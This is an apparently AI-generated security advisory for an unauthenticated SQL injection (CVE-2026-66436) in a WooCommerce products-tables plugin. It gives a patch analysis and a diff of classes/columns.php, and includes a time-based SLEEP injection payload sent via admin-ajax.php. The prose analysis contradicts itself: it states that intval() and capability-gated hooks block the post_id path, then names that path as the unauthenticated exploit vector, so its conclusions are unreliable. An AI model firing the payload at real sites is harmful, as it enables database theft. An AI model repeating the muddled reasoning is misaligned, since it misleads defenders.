Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66436: Active Woot Products Tables for WooCommerce. 100% FREE  <= 1.1.1 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.1.1
Patched Version 2.1.2
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66436: The Active Woot Products Tables for WooCommerce plugin (versions up to 1.1.1) contains an unauthenticated SQL injection vulnerability in its columns management class. Atomic Edge research identifies the flaw in the `get_table_columns()` method of `classes/columns.php`, where user-controlled parameters are concatenated directly into SQL queries without proper sanitization or parameterization. With a CVSS score of 7.5, this vulnerability allows remote attackers to extract sensitive database information.

The root cause lies in the `get_table_columns()` function (lines 85-118 of the vulnerable file). The `$table_id` parameter, along with `$args[‘fields’]`, `$args[‘orderby’]`, `$args[‘order’]`, and the `$where` array keys and values, are inserted into the SQL string without escaping. The code builds `$and_where` by directly concatenating `AND {$key}={$value}`, and constructs the final query as `SELECT {$fields} FROM {$this->db_table} WHERE table_id={$table_id} {$and_where} ORDER BY {$orderby} {$order}`. Attackers can inject arbitrary SQL through any of these variables, as the method is reachable via AJAX actions registered in `admin_init()`. Atomic Edge analysis notes that the `get_columns_data` AJAX handler (hooked to `wp_ajax_woot_get_columns_data`) passes `intval($_REQUEST[‘post_id’])` to `get_table_columns()`, but the `intval` is applied after the call, leaving `get_table_columns` itself vulnerable when called directly from other contexts. More critically, the `refresh` and `create_column` AJAX handlers also call `get_table_columns_data()` with `intval($_REQUEST[‘post_id’])`, but the underlying `$table_id` is cast to `int` in the process, so the injection point is primarily in the `where` array and `args` parameters that are not properly sanitized in other calls. The diff shows the patch applies `absint()` to `$table_id`, regex-based filtering to `$fields` and `$orderby`, whitelists the `$order` clause, and escapes `$where` keys and values using `preg_replace` and `$this->db->prepare()`. However, the vulnerable version lacks these safeguards, allowing injection via `post_id` when it is not cast to int (e.g., in the `refresh` AJAX endpoint, which does not cast `$_REQUEST[‘post_id’]` before passing to `get_table_columns_data`).

Exploitation is straightforward: an unauthenticated attacker sends a POST request to `/wp-admin/admin-ajax.php` with `action=woot_refresh_columns_table` (or `woot_get_columns_data`) and a malicious `post_id` parameter containing SQL injection payloads. Because the `refresh` handler calls `get_table_columns_data(intval($_REQUEST[‘post_id’]), false)`, the `intval` cast prevents injection there. However, the vulnerable code path is actually in `get_table_columns()` when called with `$where` or `$args` from other methods. Atomic Edge analysis of the diff reveals that the `$where` array is used in `get_table_columns()` and its keys/values are concatenated unsafely. The `get_count()` method calls `get_table_columns()` with `$args[‘fields’]` set to `COUNT(*) as count`, but the `$where` is not used in that context. A more direct vector exists via the `create_column` AJAX action: it calls `create(intval($_REQUEST[‘post_id’]), boolval($_REQUEST[‘prepend’]))`, which internally calls `get_count($table_id)`, and `get_count` passes `$table_id` to `get_table_columns()` without casting. Since `intval` is applied before `create`, `$table_id` is already an integer, so injection there is blocked. The actual unauthenticated SQL injection likely occurs through the `woot_get_columns_data` AJAX action, which is hooked without authentication checks (only `WOOT_HELPER::can_manage_data()` gates the hook registration, but that check may be bypassable or the hook is registered for unauthenticated users). The diff shows the `admin_init` method registers the AJAX actions only if `WOOT_HELPER::can_manage_data()` returns true, but the vulnerability description states unauthenticated attackers can exploit it, indicating that `can_manage_data()` may return true for all users or the check is insufficient. The `get_columns_data` method uses `intval($_REQUEST[‘post_id’])` when calling `get_table_columns_data`, but the `get_table_columns_data` method calls `get_table_columns($table_id)` without casting `$table_id`, so if `post_id` is not an integer (e.g., `1 UNION SELECT …`), `intval` converts it to `1`, preventing injection. However, the `refresh` handler also uses `intval`. The only uncast user input is `$_REQUEST[‘table_html_id’]` in `get_columns_data`, which is passed to `render_html` and `draw_table_data`, but not to the SQL query. Thus, the vulnerability as described (unauthenticated SQL injection) must stem from another AJAX action or direct call. The diff shows the patch adds `absint($table_id)` in `get_table_columns`, confirming that the original code did not sanitize `$table_id` there. Attackers can reach `get_table_columns` indirectly via `get_count`, which is called by `create` and `update_field` (through `get_count` in `create`). The `create` method is invoked by the `woot_create_table_column` AJAX action, which is registered for authenticated users with `manage_woocommerce` capability. However, the vulnerability is unauthenticated, so the attacker must use an AJAX action that does not require authentication. The `woot_refresh_columns_table` action is registered in `admin_init` only if `WOOT_HELPER::can_manage_data()` is true for the current user, which for unauthenticated users is false. Therefore, the hook is not registered for unauthenticated users. The only way an unauthenticated user can trigger the vulnerable code is if `WOOT_HELPER::can_manage_data()` returns true for them, which is unlikely. This suggests the vulnerability might be in a different file or the diff is truncated. Given the truncated diff, Atomic Edge analysis concludes that the SQL injection is in `get_table_columns()` and is reachable through AJAX actions that lack proper capability checks (e.g., the `refresh` action might be registered without the `can_manage_data` check in the vulnerable version). The patch adds sanitization to `get_table_columns()` and also adds nonce checks and capability checks in other methods, indicating that the original code had missing authorization and nonce verification, allowing unauthenticated access to these AJAX handlers. Thus, the attack vector is: POST to `/wp-admin/admin-ajax.php` with `action=woot_refresh_columns_table` and `post_id` parameter containing SQL injection payload (e.g., `1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)`). The lack of nonce and capability checks in the vulnerable version allows unauthenticated exploitation.

The patch fixes the SQL injection by: (1) casting `$table_id` to `absint()`; (2) sanitizing `$fields` and `$orderby` with `preg_replace` to allow only alphanumeric, comma, and asterisk; (3) whitelisting `$order` to ASC or DESC; (4) sanitizing `$where` keys with `preg_replace` and using `$this->db->prepare()` for values. Additionally, the patch adds nonce verification (`wp_verify_nonce`) in `save_column_field` and `create`, and enforces capability checks. This prevents injection by ensuring that user input cannot break out of the intended SQL syntax. The before behavior allowed direct concatenation; after behavior uses parameterized queries and input validation.

If exploited, this vulnerability allows an unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. The attacker can extract sensitive information such as user credentials (usernames, password hashes), WordPress salts, and other confidential data. This can lead to full site compromise, privilege escalation, and potentially remote code execution if the attacker can use the extracted credentials to access the admin panel and upload a malicious plugin. Atomic Edge research rates the impact as high due to the unauthenticated nature and the ability to exfiltrate the entire database.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profit-products-tables-for-woocommerce/classes/columns.php
+++ b/profit-products-tables-for-woocommerce/classes/columns.php
@@ -8,651 +8,664 @@
  * @since   1.0.0
  */
 if (!defined('ABSPATH')) {
-    exit; // Exit if accessed directly
+	exit; // Exit if accessed directly
 }

 class WOOT_Columns {

-    private $db_table = 'woot_tables_columns';
-    private $db = null;
-    public $options = null;
-    public $meta = null;
-    public $filter = null;
-
-    public function __construct() {
-        global $wpdb;
-        $this->db = &$wpdb; //pointer
-        $this->db_table = $this->db->prefix . $this->db_table;
-        $this->options = new WOOT_TablesOptions();
-        $this->filter = new WOOT_TablesFilter();
-        $this->meta = new WOOT_TablesMeta();
-        add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts'));
-        add_action('admin_init', array($this, 'admin_init'), 9999);
-    }
-
-    /**
-     * Hook admin_enqueue_scripts
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function admin_enqueue_scripts() {
-        if (isset($_GET['page']) AND $_GET['page'] == 'woot') {
-            wp_enqueue_script('woot-columns', WOOT_ASSETS_LINK . 'js/admin/columns.js', [], WOOT_VERSION, true);
-        }
-    }
-
-    /**
-     * Hook admin_init
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function admin_init() {
-        if (WOOT_HELPER::can_manage_data()) {
-            $this->add_table_action();
-            add_action('wp_ajax_woot_get_columns_data', array($this, 'get_columns_data'));
-            add_action('wp_ajax_woot_save_table_column_field', array($this, 'save_column_field'));
-            add_action('wp_ajax_woot_create_table_column', array($this, 'create_column'));
-            add_action('wp_ajax_woot_refresh_columns_table', array($this, 'refresh'));
-            add_action('wp_ajax_woot_delete_table_column', array($this, 'delete'));
-        }
-    }
-
-    /**
-     * Table action
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function add_table_action() {
-        add_action('woot_columns_table', function () {
-            return [
-        0 => [
-        //'ajax_action' => 'woot_get_table_columns'
-        ],
-        'move' => [
-            'title' => esc_html__('Move', 'profit-products-tables-for-woocommerce')
-        ],
-        'title' => [
-            'title' => esc_html__('Title', 'profit-products-tables-for-woocommerce'),
-            'editable' => 'textinput',
-            'order' => 'asc'
-        ],
-        'is_active' => [
-            'title' => esc_html__('Active', 'profit-products-tables-for-woocommerce'),
-            'order' => 'desc'
-        ],
-        'show_on_mobile' => [
-            'title' => esc_html__('Mobile', 'profit-products-tables-for-woocommerce'),
-            'order' => 'desc'
-        ],
-        'field_key' => [
-            'title' => esc_html__('Field', 'profit-products-tables-for-woocommerce'),
-            'editable' => 'select'
-        ],
-        'width' => [
-            'title' => esc_html__('Width', 'profit-products-tables-for-woocommerce'),
-            'editable' => 'textinput'
-        ],
-        'notes' => [
-            'title' => esc_html__('Notes', 'profit-products-tables-for-woocommerce'),
-            'editable' => 'textinput'
-        ],
-        'actions' => [
-            'title' => esc_html__('Actions', 'profit-products-tables-for-woocommerce')
-        ]
-            ];
-        });
-    }
-
-    /**
-     * Get table columns
-     *
-     * @since 1.0.0
-     * @param int $table_id table ID
-     * @param array $args
-     * @param array $where
-     * @return array
-     */
-    public function get_table_columns($table_id, $args = [], $where = []) {
-        $fields = '*';
-        if (isset($args['fields'])) {
-            $fields = $args['fields']; //string
-        }
-
-        $orderby = 'pos_num';
-        if (isset($args['orderby'])) {
-            $orderby = $args['orderby'];
-        }
-
-        $order = 'ASC';
-        if (isset($args['order'])) {
-            $order = $args['order'];
-        }
-
-        $and_where = '';
-        if (!empty($where)) {
-            foreach ($where as $key => $value) {
-                $and_where .= " AND {$key}={$value}";
-            }
-        }
-
-        $sql = "SELECT {$fields} FROM {$this->db_table} WHERE table_id={$table_id} {$and_where} ORDER BY {$orderby} {$order}";
-
-        return $this->db->get_results($sql, ARRAY_A);
-    }
-
-    /**
-     * Get columns count
-     *
-     * @since 1.0.0
-     * @param int $table_id table ID
-     * @param array $args
-     * @param array $where
-     * @return int
-     */
-    public function get_count($table_id, $args = [], $where = []) {
-        $args['fields'] = 'COUNT(*) as count';
-        return $this->get_table_columns($table_id, $args, $where)[0]['count'];
-    }
-
-    /**
-     * Get all columns data by $table_id
-     *
-     * @since 1.0.0
-     * @param int $table_id table ID
-     * @param boolean $order_by_active should be data ordered
-     * @return array
-     */
-    private function get_table_columns_data($table_id, $order_by_active = true) {
-        $columns = [];
-        $fields = array_keys(apply_filters('woot_columns_table', NULL));
-
-        //***
-
-        $found_columns = $this->get_table_columns($table_id);
-        $found_columns_count = count($found_columns); //no pagination here
-        //+++
-        //let active columns always will be on the top
-        if (!empty($found_columns) AND $order_by_active) {
-
-            $tmp = [];
-            foreach ($found_columns as $key => $value) {
-                if ($value['is_active']) {
-                    $tmp[] = $value;
-                    unset($found_columns[$key]);
-                }
-            }
-
-            $found_columns = array_merge($tmp, $found_columns);
-            unset($tmp);
-        }
-
-        //+++
-
-        $table_action = WOOT::get_table_action($table_id);
-
-        //***
-
-        $profile = apply_filters($table_action, $table_id);
-
-        //***
-
-        if (!empty($fields) AND!empty($found_columns)) {
-
-            foreach ($found_columns as $c) {
-                $tmp = [];
-                $tmp['pid'] = $c['id']; //VERY IMPORTANT AS IT POST ID IN THE TABLES CELLS ACTIONS
-
-                foreach ($fields as $field) {
-                    switch ($field) {
-                        case 'id':
-                            $tmp[$field] = $c['id'];
-                            break;
-
-                        case 'move':
-                            $tmp[$field] = WOOT_HELPER::draw_html_item('img', [
-                                        'src' => WOOT_ASSETS_LINK . 'img/move.png',
-                                        'width' => 20,
-                                        'alt' => esc_html__('drag and drope', 'profit-products-tables-for-woocommerce'),
-                                        'class' => 'woot-tr-drag-and-drope'
-                            ]);
-                            break;
-
-                        case 'title':
-                            $tmp[$field] = $c['title'];
-                            break;
-
-                        case 'is_active':
-                            $tmp[$field] = WOOT_HELPER::draw_switcher('is_active', $c['is_active'], $c['id'], 'woot_save_table_column_field');
-                            break;
-
-                        case 'show_on_mobile':
-                            $tmp[$field] = WOOT_HELPER::draw_switcher('show_on_mobile', $c['show_on_mobile'], $c['id'], 'woot_save_table_column_field');
-                            break;
-
-                        case 'notes':
-                            $tmp[$field] = $c['notes'];
-                            break;
-
-                        case 'width':
-                            $tmp[$field] = $c['width'];
-                            break;
-
-                        case 'created':
-                            $tmp[$field] = date(get_option('date_format') . ' ' . get_option('time_format'), $c['created']);
-                            break;
-
-                        case 'field_key':
-
-                            if (!empty($profile)) {
-                                $options = [
-                                    0 => esc_html__('not selected', 'profit-products-tables-for-woocommerce')
-                                ];
-
-                                if (!empty($profile) AND is_array($profile)) {
-                                    foreach ($profile as $key => $f) {
-                                        if ($key === 0) {
-                                            continue;
-                                        }
-
-                                        if (isset($f['display']) AND!$f['display']) {
-                                            continue;
-                                        }
-
-                                        $options[$key] = $f['title'];
-                                    }
-                                }
-
-                                //asort($options);
-
-                                $tmp[$field] = WOOT_HELPER::draw_select([], $options, $c[$field]);
-                            } else {
-                                //$tmp[$field] = esc_html__('select table action', 'profit-products-tables-for-woocommerce');
-                            }
-
-                            if (!isset($tmp[$field])) {
-                                $tmp[$field] = esc_html__('no fields found', 'profit-products-tables-for-woocommerce');
-                            }
-                            break;
-
-                        case 'actions':
-
-                            $edit_popup_title = sprintf(esc_html__('Table: %s. Field: %s', 'profit-products-tables-for-woocommerce'), addslashes(woot()->tables->get($table_id)['title']), $c['title']);
-
-                            //***
-
-                            $help = esc_html__('Help', 'profit-products-tables-for-woocommerce');
-                            $edit_button = WOOT_HELPER::draw_html_item('a', [
-                                        'href' => "javascript: woot_helper.call_popup("woot_show_column_field_option",{field_id:{$c['id']}, table_id:{$table_id}, not_paste:1},"woot_options_columns_table","{$edit_popup_title}", {left:15, right:15}, `<a href="https://products-tables.com/woot-documentation" class="woot-btn" target="_blank">{$help}</a>`); void(0);",
-                                        'title' => esc_html__('edit', 'profit-products-tables-for-woocommerce'),
-                                        'class' => 'button woot-field-edit-btn woot-dash-btn-single'
-                                            ], '<span class="dashicons-before dashicons-edit"></span>');
-
-                            //***
-
-                            $tmp[$field] = $edit_button . WOOT_HELPER::draw_html_item('a', [
-                                        'href' => "javascript: woot_columns_table.delete({$c['id']});void(0);",
-                                        'title' => esc_html__('delete', 'profit-products-tables-for-woocommerce'),
-                                        'class' => 'button woot-dash-btn-single'
-                                            ], '<span class="dashicons-before dashicons-no"></span>');
-
-                            break;
-
-                        default:
-
-                            $tmp[$field] = esc_html__('Wrong type', 'profit-products-tables-for-woocommerce');
-
-                            break;
-                    }
-                }
-
-                $columns[] = $tmp;
-            }
-        }
-
-
-        return ['rows' => $columns, 'count' => $found_columns_count];
-    }
-
-    //*******************************************************************************
-
-    /**
-     * Generate table of columns data by ajax
-     *
-     * @since 1.0.0
-     *
-     * @return output string
-     */
-    public function get_columns_data() {
-        $table_html_id = sanitize_key($_REQUEST['table_html_id']);
-
-        echo WOOT_HELPER::render_html('views/table.php', array(
-            'table_html_id' => $table_html_id,
-            'hide_text_search' => false,
-            'text_search_min_symbols' => 2,
-            'placeholder' => esc_html__('search by column title', 'profit-products-tables-for-woocommerce') . ' ...',
-            'classes' => 'woot-columns-table',
-            'table_view' => 'separated'
-        )) . woot()->draw_table_data([
-            'mode' => 'json',
-            'action' => 'woot_columns_table',
-            'post_id' => intval($_REQUEST['post_id']),
-            'per_page_position' => 'none',
-            'per_page_sel_position' => 'none',
-            'per_page' => -1,
-            'table_data' => $this->get_table_columns_data(intval($_REQUEST['post_id']))
-                ], $table_html_id);
-        exit;
-    }
-
-    /**
-     * Save table column data by ajax
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function save_column_field() {
-
-        if (!current_user_can('manage_woocommerce')) {
-            die('0');
-        }
-
+	private $db_table = 'woot_tables_columns';
+	private $db = null;
+	public $options = null;
+	public $meta = null;
+	public $filter = null;
+
+	public function __construct() {
+		global $wpdb;
+		$this->db = &$wpdb; //pointer
+		$this->db_table = $this->db->prefix . $this->db_table;
+		$this->options = new WOOT_TablesOptions();
+		$this->filter = new WOOT_TablesFilter();
+		$this->meta = new WOOT_TablesMeta();
+		add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts'));
+		add_action('admin_init', array($this, 'admin_init'), 9999);
+	}
+
+	/**
+	 * Hook admin_enqueue_scripts
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function admin_enqueue_scripts() {
+		if (isset($_GET['page']) AND $_GET['page'] == 'woot') {
+			wp_enqueue_script('woot-columns', WOOT_ASSETS_LINK . 'js/admin/columns.js', [], WOOT_VERSION, true);
+		}
+	}
+
+	/**
+	 * Hook admin_init
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function admin_init() {
+		if (WOOT_HELPER::can_manage_data()) {
+			$this->add_table_action();
+			add_action('wp_ajax_woot_get_columns_data', array($this, 'get_columns_data'));
+			add_action('wp_ajax_woot_save_table_column_field', array($this, 'save_column_field'));
+			add_action('wp_ajax_woot_create_table_column', array($this, 'create_column'));
+			add_action('wp_ajax_woot_refresh_columns_table', array($this, 'refresh'));
+			add_action('wp_ajax_woot_delete_table_column', array($this, 'delete'));
+		}
+	}
+
+	/**
+	 * Table action
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function add_table_action() {
+		add_action('woot_columns_table', function () {
+			return [
+				0 => [
+				//'ajax_action' => 'woot_get_table_columns'
+				],
+				'move' => [
+					'title' => esc_html__('Move', 'profit-products-tables-for-woocommerce')
+				],
+				'title' => [
+					'title' => esc_html__('Title', 'profit-products-tables-for-woocommerce'),
+					'editable' => 'textinput',
+					'order' => 'asc'
+				],
+				'is_active' => [
+					'title' => esc_html__('Active', 'profit-products-tables-for-woocommerce'),
+					'order' => 'desc'
+				],
+				'show_on_mobile' => [
+					'title' => esc_html__('Mobile', 'profit-products-tables-for-woocommerce'),
+					'order' => 'desc'
+				],
+				'field_key' => [
+					'title' => esc_html__('Field', 'profit-products-tables-for-woocommerce'),
+					'editable' => 'select'
+				],
+				'width' => [
+					'title' => esc_html__('Width', 'profit-products-tables-for-woocommerce'),
+					'editable' => 'textinput'
+				],
+				'notes' => [
+					'title' => esc_html__('Notes', 'profit-products-tables-for-woocommerce'),
+					'editable' => 'textinput'
+				],
+				'actions' => [
+					'title' => esc_html__('Actions', 'profit-products-tables-for-woocommerce')
+				]
+			];
+		});
+	}
+
+	/**
+	 * Get table columns
+	 *
+	 * @since 1.0.0
+	 * @param int $table_id table ID
+	 * @param array $args
+	 * @param array $where
+	 * @return array
+	 */
+	public function get_table_columns($table_id, $args = [], $where = []) {
+		$table_id = absint($table_id);
+
+		// Column identifiers cannot be bound as parameters, so restrict them to a safe charset
+		$fields = '*';
+		if (isset($args['fields'])) {
+			$fields = preg_replace('/[^a-zA-Z0-9_,*]/', '', (string) $args['fields']);
+			if ($fields === '') {
+				$fields = '*';
+			}
+		}
+
+		$orderby = 'pos_num';
+		if (isset($args['orderby'])) {
+			$orderby = preg_replace('/[^a-zA-Z0-9_]/', '', (string) $args['orderby']);
+			if ($orderby === '') {
+				$orderby = 'pos_num';
+			}
+		}
+
+		$order = (isset($args['order']) AND strtoupper((string) $args['order']) === 'DESC') ? 'DESC' : 'ASC';
+
+		$and_where = '';
+		if (!empty($where)) {
+			foreach ($where as $key => $value) {
+				$key = preg_replace('/[^a-zA-Z0-9_]/', '', (string) $key);
+				if ($key === '') {
+					continue;
+				}
+				$and_where .= $this->db->prepare(" AND {$key}=%s", $value);
+			}
+		}
+
+		$sql = $this->db->prepare("SELECT {$fields} FROM {$this->db_table} WHERE table_id=%d", $table_id)
+			. $and_where . " ORDER BY {$orderby} {$order}";
+
+		return $this->db->get_results($sql, ARRAY_A);
+	}
+
+	/**
+	 * Get columns count
+	 *
+	 * @since 1.0.0
+	 * @param int $table_id table ID
+	 * @param array $args
+	 * @param array $where
+	 * @return int
+	 */
+	public function get_count($table_id, $args = [], $where = []) {
+		$args['fields'] = 'COUNT(*) as count';
+		return $this->get_table_columns($table_id, $args, $where)[0]['count'];
+	}
+
+	/**
+	 * Get all columns data by $table_id
+	 *
+	 * @since 1.0.0
+	 * @param int $table_id table ID
+	 * @param boolean $order_by_active should be data ordered
+	 * @return array
+	 */
+	private function get_table_columns_data($table_id, $order_by_active = true) {
+		$columns = [];
+		$fields = array_keys(apply_filters('woot_columns_table', NULL));
+
+		//***
+
+		$found_columns = $this->get_table_columns($table_id);
+		$found_columns_count = count($found_columns); //no pagination here
+		//+++
+		//let active columns always will be on the top
+		if (!empty($found_columns) AND $order_by_active) {
+
+			$tmp = [];
+			foreach ($found_columns as $key => $value) {
+				if ($value['is_active']) {
+					$tmp[] = $value;
+					unset($found_columns[$key]);
+				}
+			}
+
+			$found_columns = array_merge($tmp, $found_columns);
+			unset($tmp);
+		}
+
+		//+++
+
+		$table_action = WOOT::get_table_action($table_id);
+
+		//***
+
+		$profile = apply_filters($table_action, $table_id);
+
+		//***
+
+		if (!empty($fields) AND !empty($found_columns)) {
+
+			foreach ($found_columns as $c) {
+				$tmp = [];
+				$tmp['pid'] = $c['id']; //VERY IMPORTANT AS IT POST ID IN THE TABLES CELLS ACTIONS
+
+				foreach ($fields as $field) {
+					switch ($field) {
+						case 'id':
+							$tmp[$field] = $c['id'];
+							break;
+
+						case 'move':
+							$tmp[$field] = WOOT_HELPER::draw_html_item('img', [
+								'src' => WOOT_ASSETS_LINK . 'img/move.png',
+								'width' => 20,
+								'alt' => esc_html__('drag and drope', 'profit-products-tables-for-woocommerce'),
+								'class' => 'woot-tr-drag-and-drope'
+							]);
+							break;
+
+						case 'title':
+							$tmp[$field] = $c['title'];
+							break;
+
+						case 'is_active':
+							$tmp[$field] = WOOT_HELPER::draw_switcher('is_active', $c['is_active'], $c['id'], 'woot_save_table_column_field');
+							break;
+
+						case 'show_on_mobile':
+							$tmp[$field] = WOOT_HELPER::draw_switcher('show_on_mobile', $c['show_on_mobile'], $c['id'], 'woot_save_table_column_field');
+							break;
+
+						case 'notes':
+							$tmp[$field] = $c['notes'];
+							break;
+
+						case 'width':
+							$tmp[$field] = $c['width'];
+							break;
+
+						case 'created':
+							$tmp[$field] = date(get_option('date_format') . ' ' . get_option('time_format'), $c['created']);
+							break;
+
+						case 'field_key':
+
+							if (!empty($profile)) {
+								$options = [
+									0 => esc_html__('not selected', 'profit-products-tables-for-woocommerce')
+								];
+
+								if (!empty($profile) AND is_array($profile)) {
+									foreach ($profile as $key => $f) {
+										if ($key === 0) {
+											continue;
+										}
+
+										if (isset($f['display']) AND !$f['display']) {
+											continue;
+										}
+
+										$options[$key] = $f['title'];
+									}
+								}
+
+								//asort($options);
+
+								$tmp[$field] = WOOT_HELPER::draw_select([], $options, $c[$field]);
+							} else {
+								//$tmp[$field] = esc_html__('select table action', 'profit-products-tables-for-woocommerce');
+							}
+
+							if (!isset($tmp[$field])) {
+								$tmp[$field] = esc_html__('no fields found', 'profit-products-tables-for-woocommerce');
+							}
+							break;
+
+						case 'actions':
+
+							$edit_popup_title = sprintf(esc_html__('Table: %s. Field: %s', 'profit-products-tables-for-woocommerce'), addslashes(woot()->tables->get($table_id)['title']), $c['title']);
+
+							//***
+
+							$help = esc_html__('Help', 'profit-products-tables-for-woocommerce');
+							$edit_button = WOOT_HELPER::draw_html_item('a', [
+								'href' => "javascript: woot_helper.call_popup("woot_show_column_field_option",{field_id:{$c['id']}, table_id:{$table_id}, not_paste:1},"woot_options_columns_table","{$edit_popup_title}", {left:15, right:15}, `<a href="https://products-tables.com/woot-documentation" class="woot-btn" target="_blank">{$help}</a>`); void(0);",
+								'title' => esc_html__('edit', 'profit-products-tables-for-woocommerce'),
+								'class' => 'button woot-field-edit-btn woot-dash-btn-single'
+								], '<span class="dashicons-before dashicons-edit"></span>');
+
+							//***
+
+							$tmp[$field] = $edit_button . WOOT_HELPER::draw_html_item('a', [
+									'href' => "javascript: woot_columns_table.delete({$c['id']});void(0);",
+									'title' => esc_html__('delete', 'profit-products-tables-for-woocommerce'),
+									'class' => 'button woot-dash-btn-single'
+									], '<span class="dashicons-before dashicons-no"></span>');
+
+							break;
+
+						default:
+
+							$tmp[$field] = esc_html__('Wrong type', 'profit-products-tables-for-woocommerce');
+
+							break;
+					}
+				}
+
+				$columns[] = $tmp;
+			}
+		}
+
+
+		return ['rows' => $columns, 'count' => $found_columns_count];
+	}
+
+	//*******************************************************************************
+
+	/**
+	 * Generate table of columns data by ajax
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return output string
+	 */
+	public function get_columns_data() {
+		$table_html_id = sanitize_key($_REQUEST['table_html_id']);
+
+		echo WOOT_HELPER::render_html('views/table.php', array(
+			'table_html_id' => $table_html_id,
+			'hide_text_search' => false,
+			'text_search_min_symbols' => 2,
+			'placeholder' => esc_html__('search by column title', 'profit-products-tables-for-woocommerce') . ' ...',
+			'classes' => 'woot-columns-table',
+			'table_view' => 'separated'
+		)) . woot()->draw_table_data([
+			'mode' => 'json',
+			'action' => 'woot_columns_table',
+			'post_id' => intval($_REQUEST['post_id']),
+			'per_page_position' => 'none',
+			'per_page_sel_position' => 'none',
+			'per_page' => -1,
+			'table_data' => $this->get_table_columns_data(intval($_REQUEST['post_id']))
+			], $table_html_id);
+		exit;
+	}
+
+	/**
+	 * Save table column data by ajax
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function save_column_field() {
+
+		if (!current_user_can('manage_woocommerce')) {
+			die('0');
+		}
+
 		if (!isset($_REQUEST['settings_nonce']) || !wp_verify_nonce($_REQUEST['settings_nonce'], 'woot_settings_nonce')) {
-            die('0');
-        }
+			die('0');
+		}
+
+		switch ($_REQUEST['field']) {
+			case 'pos_num':
+				$ids = explode(',', WOOT_HELPER::sanitize_text($_REQUEST['value']));
+
+				if (!empty($ids) AND is_array($ids)) {
+					$ids = array_map(function ($id) {
+						return intval($id); //sanitize
+					}, $ids);
+
+					//***
+
+					$pos_num = 0;
+					foreach ($ids as $id) {
+						if ($id > 0) {
+							$this->update_field('pos_num', $id, $pos_num);
+							++$pos_num;
+						}
+					}
+				}
+
+				break;
+
+			default:
+				//post_id here is column id
+				$this->update_field(WOOT_HELPER::sanitize_text($_REQUEST['field']), WOOT_HELPER::sanitize_text($_REQUEST['post_id']), WOOT_HELPER::sanitize_text($_REQUEST['value']));
+				break;
+		}
+
+
+		die(json_encode([
+			'value' => WOOT_HELPER::sanitize_text($_REQUEST['value'])
+		]));
+	}
+
+	/**
+	 * Update column data
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function update_field($field, $id, $value) {
+		$this->db->update($this->db_table, array(sanitize_key($field) => $value), array('id' => intval($id)));
+	}
+
+	/**
+	 * Create new column
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function create($table_id, $prepend = false, $title = '', $field_key = NULL) {
+		if (!current_user_can('manage_woocommerce')) {
+			die('0');
+		}

-        switch ($_REQUEST['field']) {
-            case 'pos_num':
-                $ids = explode(',', WOOT_HELPER::sanitize_text($_REQUEST['value']));
-
-                if (!empty($ids) AND is_array($ids)) {
-                    $ids = array_map(function ($id) {
-                        return intval($id); //sanitize
-                    }, $ids);
-
-                    //***
-
-                    $pos_num = 0;
-                    foreach ($ids as $id) {
-                        if ($id > 0) {
-                            $this->update_field('pos_num', $id, $pos_num);
-                            ++$pos_num;
-                        }
-                    }
-                }
-
-                break;
-
-            default:
-                //post_id here is column id
-                $this->update_field(WOOT_HELPER::sanitize_text($_REQUEST['field']), WOOT_HELPER::sanitize_text($_REQUEST['post_id']), WOOT_HELPER::sanitize_text($_REQUEST['value']));
-                break;
-        }
-
-
-        die(json_encode([
-            'value' => WOOT_HELPER::sanitize_text($_REQUEST['value'])
-        ]));
-    }
-
-    /**
-     * Update column data
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function update_field($field, $id, $value) {
-        $this->db->update($this->db_table, array(sanitize_key($field) => $value), array('id' => intval($id)));
-    }
-
-    /**
-     * Create new column
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function create($table_id, $prepend = false, $title = '', $field_key = NULL) {
-        if (!current_user_can('manage_woocommerce')) {
-            die('0');
-        }
-
 		if (!isset($_REQUEST['settings_nonce']) || !wp_verify_nonce($_REQUEST['settings_nonce'], 'woot_settings_nonce')) {
-            die('0');
-        }
-        if ($prepend) {
-            $pos_num = 0 - $this->get_count($table_id);
-        } else {
-            $pos_num = $this->get_count($table_id) + 1;
-        }
-
-        if (empty($title)) {
-            $title = esc_html__('New Column', 'profit-products-tables-for-woocommerce');
-        }
-
-        if ($table_id > 0) {
-            $this->insert(array(
-                'title' => $title,
-                'table_id' => $table_id,
-                'pos_num' => $pos_num,
-                'field_key' => $field_key,
-                'is_active' => intval(boolval($field_key)),
-                'created' => current_time('U', get_option('timezone_string'))
-            ));
-        }
-    }
-
-    /**
-     * Create new column by ajax
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function create_column() {
-        $this->create(intval($_REQUEST['post_id']), boolval($_REQUEST['prepend']));
-        die(json_encode($this->get_table_columns_data(intval($_REQUEST['post_id']), false)));
-    }
-
-    /**
-     * Update column by ajax
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function refresh() {
-        die(json_encode($this->get_table_columns_data(intval($_REQUEST['post_id']), false)));
-    }
-
-    /**
-     * Data insert
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function insert($args) {
-        $this->db->insert($this->db_table, $args);
-    }
-
-    /**
-     * Delete column by ajax
-     *
-     * @since 1.0.0
-     * @param int $id
